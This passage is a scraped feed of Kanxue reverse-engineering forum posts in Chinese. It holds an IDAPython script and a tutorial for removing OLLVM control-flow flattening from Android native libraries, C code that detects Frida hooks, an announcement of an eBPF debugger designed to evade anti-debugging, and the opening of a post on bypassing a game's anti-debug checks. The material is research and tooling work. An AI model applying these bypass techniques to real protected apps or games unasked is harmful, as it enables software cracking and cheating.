idc.GetDisasm(block_info.end_addr - 8 ) disasm3 = idc.GetDisasm(block_info.end_addr - 4 ) disasm4 = idc.GetDisasm(block_info.end_addr) if disasm1.startswith( \\"CMP\\" ) and disasm2.startswith( \\"CSEL\\" ) and disasm3.startswith( \\"STR\\" ) and disasm4.startswith( \\"B\\" ): return True if disasm1.startswith( \\"MOV\\" ) and disasm2.startswith( \\"SUBS\\" ) and disasm3.startswith( \\"STR\\" ) and disasm4.startswith( \\"B\\" ): return True return False def set_block_color( self , start_ea, end_ea, color): \\"\\"\\"设置块的颜色\\"\\"\\" for ea in range (start_ea, end_ea): idc.set_color(ea, idc.CIC_ITEM, color) def get_NZCV( self , uc): \\"\\"\\"获取 NZCV 标志位\\"\\"\\" pstate_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_PSTATE) N = (pstate_value >> 31 ) & 1 Z = (pstate_value >> 30 ) & 1 C = (pstate_value >> 29 ) & 1 V = (pstate_value >> 28 ) & 1 return N, Z, C, V def set_NZCV( self , uc, N = None , Z = None , C = None , V = None ): \\"\\"\\"设置 NZCV 标志位\\"\\"\\" pstate_value = uc.reg_read(unicorn.arm64_const.UC_ARM64_REG_PSTATE) if N is not None : pstate_value = (pstate_value & ~( 1 << 31 )) | (N << 31 ) if Z is not None : pstate_value = (pstate_value & ~( 1 << 30 )) | (Z << 30 ) if C is not None : pstate_value = (pstate_value & ~( 1 << 29 )) | (C << 29 ) if V is not None : pstate_value = (pstate_value & ~( 1 << 28 )) | (V << 28 ) uc.reg_write(unicorn.arm64_const.UC_ARM64_REG_PSTATE, pstate_value) def is_real_block_start( self , address): \\"\\"\\"判断是否为真实块的起始地址\\"\\"\\" for block in self .real_blocks: if address = = block.start_addr: return block return None def is_real_block_end( self , address): \\"\\"\\"判断是否为真实块的结束地址\\"\\"\\" for block in self .real_blocks: if address = = block.end_addr: return block return None def find_real_block_by_address( self , address): \\"\\"\\"根据地址查找所属的真实块\\"\\"\\" for block in self .real_blocks: if block.start_addr < = address < = block.end_addr: return block return None def handle_real_block_start( self , uc, address, block_info): \\"\\"\\"处理真实块的起始地址\\"\\"\\" if self .is_real_block_start(address): print (f \\"真实块起始地址: {hex(address)}\\" ) self .block_links.append(block_info) def handle_csel_lt( self , uc, address, block_info): \\"\\"\\"处理 CSEL LT 指令\\"\\"\\" if idc.GetDisasm(address).startswith( \\"CSEL\\" ) and idc.GetDisasm(address).endswith( \\"LT\\" ): print (f \\"处理 CSEL LT 指令: {hex(block_info.start_addr)}\\" ) if self .branch_tasks.get(address): # pass if self .branch_tasks[address][ \\"branch_true\\" ] = = False : bl_addr = int (idc.GetDisasm(block_info.end_addr).split( \\"loc_\\" )[ 1 ], 16 ) print (f \\"强制条件成立,跳转 {hex(bl_addr)}\\" ) # 将 N、 V 设置为不相等 self .set_NZCV(uc, N = 1 , V = 0 ) block_info.csel_state = 1 self .branch_tasks[address][ \\"branch_true\\" ] = True elif self .branch_tasks[address][ \\"branch_false\\" ] = = False : bl_addr = block_info.start_addr print (f \\"强制条件不成立,不跳转 {idc.GetDisasm(bl_addr)}\\" ) # # 将 N、 V 设置为相等 self .set_NZCV(uc, N = 1 , V = 1 ) block_info.csel_state = 0 self .branch_tasks[address][ \\"branch_false\\" ] = True else : N, Z, C, V = self .get_NZCV(uc) if N ! = V: # 如果 N 和 V 不相等,表示条件成立 bl_addr = int (idc.GetDisasm(block_info.end_addr).split( \\"loc_\\" )[ 1 ], 16 ) print (f \\"自然条件成立,跳转 {hex(bl_addr)}\\" ) block_info.csel_state = 1 self .block_links[ - 1 ].behind_block[ 1 ] = True self .branch_tasks[address] = { \\"branch_true\\" : True , \\"branch_false\\" : False } else : # 如果 N 和 V 相等,表示条件不成立 bl_addr = block_info.start_addr print (f \\"自然条件不成立,不跳转 {idc.GetDisasm(bl_addr)}\\" ) block_info.csel_state = 0 self .block_links[ - 1 ].behind_block[ 0 ] = True self .branch_tasks[address] = { \\"branch_true\\" : False , \\"branch_false\\" : True } def handle_csel_gt( self , uc, address, block_info): \\"\\"\\"处理 CSEL GT 指令\\"\\"\\" if idc.GetDisasm(address).startswith( \\"CSEL\\" ) and idc.GetDisasm(address).endswith( \\"GT\\" ): print (f \\"处理 CSEL GT 指令: {hex(block_info.start_addr)}\\" ) if self .branch_tasks.get(address): # pass if self .branch_tasks[address][ \\"branch_true\\" ] = = False : bl_addr = int (idc.GetDisasm(block_info.end_addr).split( \\"loc_\\" )[ 1 ], 16 ) print (f \\"强制条件成立,跳转 {hex(bl_addr)}\\" ) # 将 Z 设置为 0, N V 设置为相等 self .set_NZCV(uc, Z = 0 , N = 1 , V = 1 ) block_info.csel_state = 1 self .branch_tasks[address][ \\"branch_true\\" ] = True elif self .branch_tasks[address][ \\"branch_false\\" ] = = False : bl_addr = block_info.start_addr print (f \\"强制条件不成立,不跳转 {idc.GetDisasm(bl_addr)}\\" ) # 将 Z 设置为 1 self .set_NZCV(uc, Z = 1 ) block_info.csel_state = 0 self .branch_tasks[address][ \\"branch_false\\" ] = True else : N, Z, C, V = self .get_NZCV(uc) if Z = = 0 and N = = V: # 如果 N 和 V 不相等,表示条件成立 bl_addr = int (idc.GetDisasm(block_info.end_addr).split( \\"loc_\\" )[ 1 ], 16 ) print (f \\"自然条件成立,跳转 {hex(bl_addr)}\\" ) block_info.csel_state = 1 self .block_links[ - 1 ].behind_block[ 1 ] = True self .branch_tasks[address] = { \\"branch_true\\" : True , \\"branch_false\\" : False } else : # 如果 N 和 V 相等,表示条件不成立 bl_addr = block_info.start_addr print (f \\"自然条件不成立,不跳转 {idc.GetDisasm(bl_addr)}\\" ) block_info.csel_state = 0 self .block_links[ - 1 ].behind_block[ 0 ] = True self .branch_tasks[address] = { \\"branch_true\\" : False , \\"branch_false\\" : True } def handle_real_block_end( self , uc, address, block_info): \\"\\"\\"处理真实块的结束地址\\"\\"\\" if idc.GetDisasm(address + 4 ).startswith( \\"RET\\" ): print (f \\"提前处理返回指令: {hex(address)}\\" ) if len ( self .block_links) > 1 : # 将当前块的地址,添加到上一个真实块的 behind_block 中 before_block = self .block_links[ - 2 ] if before_block.csel_state = = 1 : print (f \\"当前块的CSEL:{hex(address)} {before_block.csel_state} {hex(before_block.start_addr)} --\x3e {hex(block_info.start_addr)}\\" ) if before_block.behind_block[ 1 ] = = None or before_block.behind_block[ 1 ] = = True : before_block.behind_block[ 1 ] = block_info elif before_block.csel_state = = 0 : print (f \\"当前块的CSEL:{hex(address)} {before_block.csel_state} {hex(before_block.start_addr)} --\x3e {hex(block_info.start_addr)}\\" ) if before_block.behind_block[ 0 ] = = None or before_block.behind_block[ 0 ] = = True : before_block.behind_block[ 0 ] = block_info elif before_block.csel_state = = - 1 : print (f \\"当前块的CSEL:{hex(address)} {before_block.csel_state} {hex(before_block.start_addr)} --\x3e {hex(block_info.start_addr)}\\" ) before_block.behind_block[ 1 ] = block_info # 如果是这是一个真实块的结束地址,那么获取这个真实块 if self .is_real_block_end(address): print (f \\"真实块结束地址: {hex(address)}\\" ) if len ( self .block_links) > 1 : # 将当前块的地址,添加到上一个真实块的 behind_block 中 before_block = self .block_links[ - 2 ] if before_block.csel_state = = 1 : print (f \\"当前块的CSEL:{hex(address)} {before_block.csel_state} {hex(before_block.start_addr)} --\x3e {hex(block_info.start_addr)}\\" ) if before_block.behind_block[ 1 ] = = None or before_block.behind_block[ 1 ] = = True : before_block.behind_block[ 1 ] = block_info elif before_block.csel_state = = 0 : print (f \\"当前块的CSEL:{hex(address)} {before_block.csel_state} {hex(before_block.start_addr)} --\x3e {hex(block_info.start_addr)}\\" ) if before_block.behind_block[ 0 ] = = None or before_block.behind_block[ 0 ] = = True : before_block.behind_block[ 0 ] = block_info elif before_block.csel_state = = - 1 : print (f \\"当前块的CSEL:{hex(address)} {before_block.csel_state} {hex(before_block.start_addr)} --\x3e {hex(block_info.start_addr)}\\" ) before_block.behind_block[ 1 ] = block_info def my_instruction_hook( self , uc, address, size, userData): \\"\\"\\"指令钩子函数\\"\\"\\" block_info = self .find_real_block_by_address(address) if block_info is None : return # 处理真实块的起始地址 self .handle_real_block_start(uc, address, block_info) # 处理 CSEL 指令 self .handle_csel_lt(uc, address, block_info) self .handle_csel_gt(uc, address, block_info) # 处理真实块的结束地址 self .handle_real_block_end(uc, address, block_info) def simulate_start( self ): \\"\\"\\"模拟执行函数的起始部分\\"\\"\\" # 这里多执行几次,避免遗漏代码块 eh = flare_emu.EmuHelper() for i in range ( 0 , 3 ): eh.emulateRange( self .func_start, self .func_end, skipCalls = True , instructionHook = self .my_instruction_hook) for block_info in self .real_blocks: print (block_info.to_string()) def patch_blocks( self ): \\"\\"\\"修复虚假块和真实块的跳转指令\\"\\"\\" for block_info in self .real_blocks: # 跳过返回块 if idc.GetDisasm(block_info.end_addr).startswith( \\"RET\\" ): continue # 如果只有一个后续块,直接跳转 if block_info.get_behind_block_num() = = 1 : patch_addr = block_info.end_addr jump_instruction = f \\"B {hex(block_info.behind_block[1].start_addr)}\\" self .patch_one(patch_addr, jump_instruction) # 如果有两个后续块,根据条件跳转 elif block_info.get_behind_block_num() = = 2 : patch_addr = block_info.end_addr - 8 if idc.GetDisasm(patch_addr).startswith( \\"CSEL\\" ) and idc.GetDisasm(patch_addr).endswith( \\"LT\\" ): jump_instruction = f \\"B.GE {hex(block_info.behind_block[0].start_addr)}\\" elif idc.GetDisasm(patch_addr).startswith( \\"CSEL\\" ) and idc.GetDisasm(patch_addr).endswith( \\"GT\\" ): jump_instruction = f \\"B.GT {hex(block_info.behind_block[0].start_addr)}\\" self .patch_one(patch_addr, jump_instruction) patch_addr = block_info.end_addr - 4 jump_instruction = f \\"B {hex(block_info.behind_block[1].start_addr)}\\" self .patch_one(patch_addr, jump_instruction) # 修复虚假块为NOP for block_info in self .fake_blocks: for patch_addr in range (block_info.start_addr, block_info.end_addr, 4 ): self .patch_one(patch_addr, \\"nop\\" ) def patch_one( self , address: int , new_instruction: str ): \\"\\"\\"修复指定地址的指令\\"\\"\\" import keypatch kp_asm = keypatch.Keypatch_Asm() if kp_asm.arch is None : print ( \\"ERROR: Keypatch无法处理此架构\\" ) return False # 解析新的汇编指令 assembly = kp_asm.ida_resolve(new_instruction, address) encoding, count = kp_asm.assemble(assembly, address) if encoding is None : print ( \\"Keypatch: 无需修复\\" ) return False # 应用修复 patch_data = \'\'.join( chr (c) for c in encoding) kp_asm.patch(address, patch_data, len (patch_data)) print (f \\"{hex(address)} 修复完成: {assembly}\\" ) def run( self ): \\"\\"\\"运行去混淆流程\\"\\"\\" print ( \\"开始分析基本块...\\" ) self .analyze_blocks() print ( \\"开始模拟执行...\\" ) self .simulate_start() print ( \\"开始修复指令...\\" ) self .patch_blocks() print ( \\"OLLVM 控制流混淆去除完成!\\" ) def deobfuscate_ollvm(): \\"\\"\\"入口函数\\"\\"\\" func_start = 0x04005D8 # 设置函数起始地址 deobfuscator = OLLVMDeobfuscator(func_start) deobfuscator.run() |
IDA 已经可以解析出函数 add5 的函数逻辑
\\n通过本次学习和实践,笔者对 OLLVM 的编译、使用以及其混淆技术有了更深入的理解。具体来说:
\\n这次学习让笔者认识到,面对复杂的混淆技术,工具的选择和分析思路的清晰性至关重要。同时,实践中也让我意识到,混淆技术虽然强大,但并非不可破解。希望本篇笔记能够为其他研究 OLLVM 的同学提供一些参考和帮助。
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\nFrida 注入目标进程后会使用Interceptor.attach对退出进程的方法进行inline hook。此处可以定位三个关键函数:exit、_exit、abort
GitHub源码链接:
569K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6X3M7X3W2V1j5g2)9J5c8X3k6J5K9h3c8S2i4K6u0V1j5$3!0J5k6g2)9J5c8X3u0D9L8$3u0Q4x3V1j5I4x3o6p5^5j5h3y4S2x3U0S2V1y4o6W2S2j5$3f1J5x3h3y4T1j5U0g2V1y4e0c8V1x3U0x3J5z5r3x3H3x3U0R3K6k6o6x3J5y4$3k6W2i4K6u0r3L8r3W2T1i4K6u0r3M7r3q4&6L8r3!0S2k6q4)9J5c8X3g2^5K9i4c8Q4x3X3c8E0L8$3&6A6N6r3!0J5i4K6u0W2N6X3q4D9j5g2)9J5x3@1H3K6y4l9`.`.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #if WINDOWS interceptor.attach ((void * ) Gum.Process.find_module_by_name ( \\"kernel32.dll\\" ).find_export_by_name ( \\"ExitProcess\\" ), listener); #else var libc = Gum.Process.get_libc_module (); const string[] apis = { \\"exit\\" , \\"_exit\\" , \\"abort\\" , }; foreach (var symbol in apis) { interceptor.attach ((void * ) libc.find_export_by_name (symbol), listener); } #endif |
frida 调用了gum_interceptor_replace函数对libc库的signal和sigaction函数进行了inline hook。
GitHub链接:38dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6X3M7X3W2V1j5g2)9J5c8X3k6J5K9h3c8S2i4K6u0V1k6%4g2E0i4K6u0r3j5X3I4G2j5W2)9J5c8U0l9$3y4K6q4U0x3U0N6V1z5e0b7I4k6o6M7%4y4o6V1H3k6X3k6X3y4r3y4S2y4X3c8T1j5U0W2U0j5e0p5H3j5e0m8X3z5o6M7J5j5X3u0Q4x3V1k6Y4N6h3#2Q4x3V1k6T1j5h3y4C8k6h3&6V1i4K6u0V1M7r3!0K6K9i4S2Q4x3V1k6Y4N6h3#2W2P5r3y4W2M7s2c8G2M7W2)9J5k6s2m8G2M7$3W2^5i4K6u0W2j5#2)9J5x3@1H3J5x3U0R3`.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | static void gum_exceptor_backend_attach (GumExceptorBackend * self ) { GumInterceptor * interceptor = self - >interceptor; const gint handled_signals[] = { SIGABRT, SIGSEGV, SIGBUS, SIGILL, SIGFPE, SIGTRAP, SIGSYS, }; gint highest, i; struct sigaction action; highest = 0 ; for (i = 0 ; i ! = G_N_ELEMENTS (handled_signals); i + + ) highest = MAX (handled_signals[i], highest); g_assert (highest > 0 ); self - >num_old_handlers = highest + 1 ; self - >old_handlers = g_new0 (struct sigaction * , self - >num_old_handlers); action.sa_sigaction = gum_exceptor_backend_on_signal; sigemptyset (&action.sa_mask); action.sa_flags = SA_SIGINFO | SA_NODEFER; #ifdef SA_ONSTACK action.sa_flags | = SA_ONSTACK; #endif for (i = 0 ; i ! = G_N_ELEMENTS (handled_signals); i + + ) { gint sig = handled_signals[i]; struct sigaction * old_handler; old_handler = g_slice_new0 (struct sigaction); self - >old_handlers[sig] = old_handler; gum_original_sigaction (sig, &action, old_handler); } gum_interceptor_begin_transaction (interceptor); gum_interceptor_replace (interceptor, gum_original_signal, gum_exceptor_backend_replacement_signal, self , NULL); gum_interceptor_replace (interceptor, gum_original_sigaction, gum_exceptor_backend_replacement_sigaction, self , NULL); gum_interceptor_end_transaction (interceptor); } |
前提:已知frida注入目标进程会hook libc库以下目标函数:
{\\"sigaction\\", \\"signal\\", \\"exit\\", \\"abort\\", \\"_exit\\"}
实现代码如下:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 | #include <dlfcn.h> #include <sys/mman.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <elf.h> #include <android/log.h> #include <stdbool.h> #include <errno.h> #include <stdio.h> #include <jni.h> #define LOG_TAG \\"HookDetection\\" #define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__) #define BYTE_BUFFER_SIZE 16 / / 获取函数地址 void * get_function_address(void * handle, const char * func_name) { void * func_addr = dlsym(handle, func_name); if (!func_addr) { LOGD( \\"[-] Function %s not found in global symbol table\\" , func_name); } else { LOGD( \\"[+] Function: %s, addr: 0x%lx\\" , func_name, (uintptr_t)func_addr); } return func_addr; } / / 获取函数偏移 uintptr_t get_function_offset(void * func_addr) { Dl_info info; if (dladdr(func_addr, &info) = = 0 ) { LOGD( \\"[-] Unable to get function info\\" ); return 0 ; } return (uintptr_t)func_addr - (uintptr_t)info.dli_fbase; } / / 读取库文件中的字节 bool read_bytes_from_libso(const char * libpath, uintptr_t offset, uint8_t * buffer , size_t size) { int fd = open (libpath, O_RDONLY); if (fd = = - 1 ) { LOGD( \\"[-] Failed to open %s: %s\\" , libpath, strerror(errno)); return false; } if (lseek(fd, offset, SEEK_SET) = = - 1 ) { LOGD( \\"[-] Seek failed at %lx in %s: %s\\" , (unsigned long )offset, libpath, strerror(errno)); close(fd); return false; } ssize_t bytes_read = read(fd, buffer , size); close(fd); if (bytes_read ! = (ssize_t)size) { LOGD( \\"[-] Read %zd bytes, expected %zu from %s at offset %lx\\" , bytes_read, size, libpath, (unsigned long )offset); return false; } return true; } / / 字节数组转十六进制字符串 void bytes_to_hex_string(const uint8_t * bytes, size_t size, char * hex_string) { for (size_t i = 0 ; i < size; i + + ) { sprintf(hex_string + i * 2 , \\"%02x\\" , bytes[i]); } hex_string[size * 2 ] = \'\\\\0\' ; } / / 比较内存中的字节和库文件中的字节 bool compare_function_bytes(void * func_addr, uint8_t * file_bytes, size_t size) { uint8_t mem_bytes[BYTE_BUFFER_SIZE]; memcpy(mem_bytes, func_addr, size); char mem_hex_string[BYTE_BUFFER_SIZE * 2 + 1 ]; char file_hex_string[BYTE_BUFFER_SIZE * 2 + 1 ]; bytes_to_hex_string(mem_bytes, size, mem_hex_string); bytes_to_hex_string(file_bytes, size, file_hex_string); LOGD( \\"[*] Memory: %s | File: %s\\" , mem_hex_string, file_hex_string); return memcmp(mem_bytes, file_bytes, size) = = 0 ; } / / Hook 检测函数 bool detect_hook(void * handle, const char * lib_path, const char * func_name) { void * func_addr = get_function_address(handle, func_name); if (!func_addr) return false; uintptr_t offset = get_function_offset(func_addr); if (offset = = 0 ) { LOGD( \\"[-] Failed to get offset for %s\\" , func_name); return false; } uint8_t file_bytes[BYTE_BUFFER_SIZE]; if (!read_bytes_from_libso(lib_path, offset, file_bytes, sizeof(file_bytes))) { LOGD( \\"[-] Failed to read bytes for %s\\" , func_name); return false; } bool is_hooked = !compare_function_bytes(func_addr, file_bytes, sizeof(file_bytes)); LOGD( \\"[+] %s in %s is %s\\" , func_name, lib_path, is_hooked ? \\"HOOKED\\" : \\"NOT HOOKED\\" ); return is_hooked; } / / 执行 Hook 检测 int do_hook_check() { const char * libpath = \\"/system/lib64/libc.so\\" ; void * handle = dlopen(libpath, RTLD_LAZY); if (!handle) { LOGD( \\"[-] Failed to load %s\\" , libpath); return - 1 ; } const char * funcs[] = { \\"sigaction\\" , \\"signal\\" , \\"exit\\" , \\"abort\\" , \\"_exit\\" }; bool hooked = false; for (size_t i = 0 ; i < sizeof(funcs) / sizeof(funcs[ 0 ]); i + + ) { if (detect_hook(handle, libpath, funcs[i])) { hooked = true; } } dlclose(handle); return hooked; } |
分析源码中frida注入逻辑进行检测,这种方法类似于开卷考试,不过优点明显:针对性很强,检测逻辑复杂度很低,性能开销小。
不知道后续frida会不会修改相关逻辑。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n最近在研究ollvm反混淆,刚好遇到此样本,借此文章对ollvm fla控制流平坦化进行一个反混淆分析,顺便分享下idapython相关api的知识。
娜迦加固 libgeiri.so
函数:init_proc
ida7.7
pycharm:编写idapython代码,需要从ida安装目录下导入相关的库
下面是一个标准的平坦化cfg图,经过ollvm fla混淆后几行的代码代码最后会膨胀至上百行。这里每个矩形图都叫做基本块,在这个图里我们主要关心序言块、return块和真实块。只有这三类的基本块才是我们需要的。其他的都是ollvm混淆加上的,这里统称虚假块。
基本块:由多行指令组成,一般最后一条指令以跳转指令或ret结尾
主分发器:类似switch-case 结构,通过传入的状态变量,并决定跳转至目标块。
预处理器:我们可以抽象认为汇集在预处理器的基本块均为真实块
以下可以帮我们了解块与块之间的关系
这里我画个图概述下什么是前驱和后继,这两个名词也是用得比较多的。
注意看箭头指向,可以看到下面的执行流程是由A到B再到C,那么这里B就是中间块
因为A是B的上一个基本块那么A就是B的前驱
因为C是B的下一个基本块,那么C就是B的后继
上面简要说了下ollvm混淆的相关知识,那么我们应该如何去反混淆呢。这里只需要记住一个核心观念:找真实块(序言块、汇集到预处理器的所有块、return块)。找到所有真实块后,还需要做的是理清块与块之间的链接关系,最后需要做的工作就是根据块与块之间的关系,修改块的跳转指令patch到对应的块。这样就实现了平坦化的反混淆。
ida打开so,进入到init_proc函数
F5进入伪代码
流程混乱,无法直观的去分析。
根据上面反混淆的理念,我们来理一理这个混淆的相关结构
序言块:0x43058
主分发器:0x43120
通过这个主分发器块,调用block.preds()函数,我们可以得到主分发器块的所有前驱块,也就是真实块
return块:0x43500
到此,序言块,汇集到主分发器的所有块,return块这三大类的所有块我们都找到了,那我们就可以反混淆了吗。当然不是,我们只是收集到了所有块,但是还不知道块与块之间的跳转关系,所以我们还需要理清块跳转关系。
我们先点击主分发器的地址,可以看到ida识别到所有引用该地址的基本块,这里提一嘴,\\"后继为预处理器的块为真实块\\"等上文6点理论都是广义上的,我们可以那样去认为,但是还是会有个别的情况与这6点相驳。
比如这个基本块它的后继也是主分发器(这里的函数没有预处理器,而是真实块直接连接主分发器),难道它就是真实块吗,当然不是,这里它知识重置了状态变量w8,以供下一个switch跳转,从汇编中可以看出其中并没有任何的真实块逻辑。
接着看这里的 B.NE loc_43120
w8,w9不相等走向主分发器,否则走向下面的基本块,我们也可以看到下一个基本块的最后一条指令也是直接跳转到主分发器的,所以总结出B.NE这个连接到主分发器的块不是真实块,只是一个重置switch跳转状态变量的块。所以我们只需要关注汇集到主分发的块的同时,最后一条指令还得是B指令。
好了,主分发器的前驱块分析完了,我们接着去理清跳转关系
这里我以0x43490基本块为参照物,逻辑都是一样的。
这里的MOV W8, #0x39649A15命令是重置状态变量,当我们循环到switch的时候,会匹配当前w8的值,对应上值时就跳转到相应的位置,所以可知0x39649A15是当前基本块的后继。但是这个后继我们目前只知道索引,我们是不是还得知道索引所代表的基本块是哪个啊
点击0x39649A15,得到这个基本块
W8, W9不相等是跳转到loc_43120主分发器,这个我们不用关心,我们去看另一个走向得到如下图示
这个基本块的地址是0x431D8,所以我们是不是得到了0x39649A15索引指向0x431D8基本块的地址了,得到0x43490->0x39649A15,
0x39649A15->0x431D8,换算可得0x43490->0x431D8
简单画个图,以0x43490为参照,后继上面说了,这里我们看前驱。可以看到它的前驱存储的索引是0x3455F111,然后查找0x3455F111被谁引用,发现0x43314的后继索引是0x3455F111。跟着这个现象我们可以得知真实块自身存储的索引是后继,前驱存储的索引是此基本块的前驱。
接下来开始写脚本去混淆。
拿到主分发器块的地址,结果正确
可以借此查看真实块的相关特征
这里先判断真实块的最后一条指令操作符是B,并且操作数也必须是主分发器地址0x43120。然后取每个真实块B指令的上一条指令,根据MOV和MOVK的不同特征去匹配后继索引。
简要说下这种汇编,它的意思是把0x7986左移16位,并且保持低位数据不变,这里低位是上述的w8 = 0xA6F8,1个字节2个字符,1个字节8个比特位,所以一个字符占4个比特位,左移16位后变为0x79860000,再和低位和并就是0x7986A6FB。算术运算符就是w8 =( 0x7986<<16) |0xA6FB。
CSEL W8, W24, W8, EQ
注意这种的真实块,命令CSEL,这里是带分支的真实块
真实块的连接要么是顺序连接只有一个后继
要么就是分支连接,有两个后继,也就是if else。
这里样本CSEL都是有4个操作数的,EQ是操作符,当EQ条件满足时把w24赋值给w8,否则把w8赋值给w8。总之不管它的操作符如何变,条件为真时,Z标志位为1,都是取第2个操作数(w24),为假取第3个操作数(w8)
这里我就直接把相关的索引添加进去了,数量少就没去匹配特征了,数量多的话建议特征处理
粘贴到ida里运行,得到所有真实块的前驱索引和后继索引
这里有个疑问就是,怎么保证这些块的连接是不是都正确呢。针对这个我也写了个函数,验证这个对象里的连接是否都是正确
得到上述的关系调用链,以函数地址开头,以return块结尾,所有存储的真实块调用链执行成功无异常报错,如果其中执行失败会打印以下信息,数组的最后一个元素0x434ac里存储的0xbd9fbba索引没有找到后继块,针对这个报错可以去ida查看对应的信息,或者直接向stamp对象里补0x434ac相关的后继信息。有点类似unidbg的味道,缺啥补啥。
最后就是调用此函数去重建块连接
所有流程走完了,现在去ida执行脚本
可以看到反混淆后的代码已经能直观看到运行整个代码的运行逻辑了。
loc_43490
ADRP X8,
#off_97FB8@PAGE
\\nLDR X8, [X8,
#off_97FB8@PAGEOFF]
\\nLDR W8, [X8]
STR
W8, [X19,
#0x20]
\\nMOV W8,
#0x39649A15
\\nB loc_43120
loc_43490
eDBG 是一款基于 eBPF 技术实现的调试工具,为强对抗场景下的安卓 native 逆向工作打造,提供调试器应有的基本功能,在调试时不产生任何附加到目标进程的行为,不使用传统的调试方案,调试器与被调试程序相互独立,仅各自与内核产生交互行为,难以被目标进程调试或干扰。
\\n除此之外,eDBG 和被调试程序运行状态互不干扰,断点注册不基于运行时地址,即使一方意外退出或重启,另一方也依旧能正常工作。
\\neDBG 的使用方式与 gdb 的使用方式几乎相同,无需学习便可直接上手使用。
\\n项目地址:709K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6e0K9r3W2F1L8@1I4W2j5h3S2Q4x3V1k6W2c8p5u0s2
直接从 Release 下载即可使用。
主要支持的功能如下:
\\n支持的 gdb 指令列表:break / continue / step / next / finish / until / examine / display / quit / list / info / thread
额外的,你可以使用 write
指令写入内存,set
指令为指定的地址标注你的自定义符号。
eDBG 也支持将你的进度保存到文件或读取工程文件,以便下一次调试。
\\n详细的使用方式请移步README
\\nuname -r
查看)整体的界面设计和信息展示参考了 pwndbg,会在断点处自动分析当前代码和寄存器信息,当然你可以在选项里关掉这些显示。
\\neDBG 使用进阶:避免 uprobes 产生可被察觉的特征
\\n本项目主要受到 stackplz 启发,在实际逆向工作中我常常使用 stackplz 辅助 ida 进行动态调试,但常常被堆积如山的反调试手段或蜜罐打得鼻青脸肿...(菜菜),因此突发奇想将 eBPF 技术直接用于打造一个调试器,虽然比 ida 缺少了图形化界面和反编译(但是现在的 app 还有可以直接 F5 的吗),但是我认为功能也足够作为一个逆向辅助工具进行日常使用。
\\n喜欢的话可以赏个小星星 QAQ
也欢迎提出建议或 issue 或 PR 喵
[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!
\\n\\n\\n\\n\\n\\n\\n\\n","description":"简介 eDBG 是一款基于 eBPF 技术实现的调试工具,为强对抗场景下的安卓 native 逆向工作打造,提供调试器应有的基本功能,在调试时不产生任何附加到目标进程的行为,不使用传统的调试方案,调试器与被调试程序相互独立,仅各自与内核产生交互行为,难以被目标进程调试或干扰。\\n\\n除此之外,eDBG 和被调试程序运行状态互不干扰,断点注册不基于运行时地址,即使一方意外退出或重启,另一方也依旧能正常工作。\\n\\neDBG 的使用方式与 gdb 的使用方式几乎相同,无需学习便可直接上手使用。\\n\\n项目地址:709K9s2c8@1M7s2y4Q4x3…","guid":"https://bbs.kanxue.com/thread-286127.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-03-21T07:59:51.897Z","media":[{"url":"https://github.com/ShinoLeah/eDBG/blob/main/demo.png?raw=true","type":"photo","width":1191,"height":1089,"blurhash":"L12$Q+?voNRkRQR+bIn$oen#j=bb"}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创] 記一次對某韓遊的反反調試","url":"https://bbs.kanxue.com/thread-286089.htm","content":"\\n\\n\\n\\n樣本:Y29tLndlbWFkZS5uaWdodGNyb3dz
\\n
聊點題外話,最近在找工作,一家公司說要搞NP,我果斷拒絕,還有一家公司給了一道面試題,內容是分析一款外掛( 針對他們家遊戲的 )和實現一個有效的外掛功能。當我興致勃勃下載好遊戲後,打開apk的lib目錄一看,發現libtprt.so
、libtersafe2.so
的特徵就知道67了。
眾所周知這是tx的MTP,我自認水平有限是搞不定的了,但還是硬著頭皮分析了一下,主要想分析他的CRC檢測,找到了幾處CRC邏輯,但都不是主要的邏輯,直到最後看到疑似vm虛擬機的東西,感覺他的核心檢測邏輯可能是在vm裡?看之後有沒有機會再分析看看吧。
\\n小小分析完libtprt.so
後,道心破碎,於是打算找個簡單點的來玩玩,正好前段時間一位大佬分享了一個樣本,就決定是你的。這是個UE5遊戲,主要看看他的檢測邏輯。
frida注入後過1s左右會直接閃退,打印加載的so,看到只有一個libdxbase.so
是APP本身的,顯然檢測邏輯在裡面。
將libdxbase.so
拉入IDA,沒有報錯,即so大概率沒有加固。
然後習慣先看看init_array,沒有太大發現,但看到decrypt1
明顯是字符串解密函數,先記下來。
hook RegisterNatives
,看到動態注冊了4個函數,遂一hook看看調用了哪個。
注:記d
函數為reg_func_d
,其他如此類推。
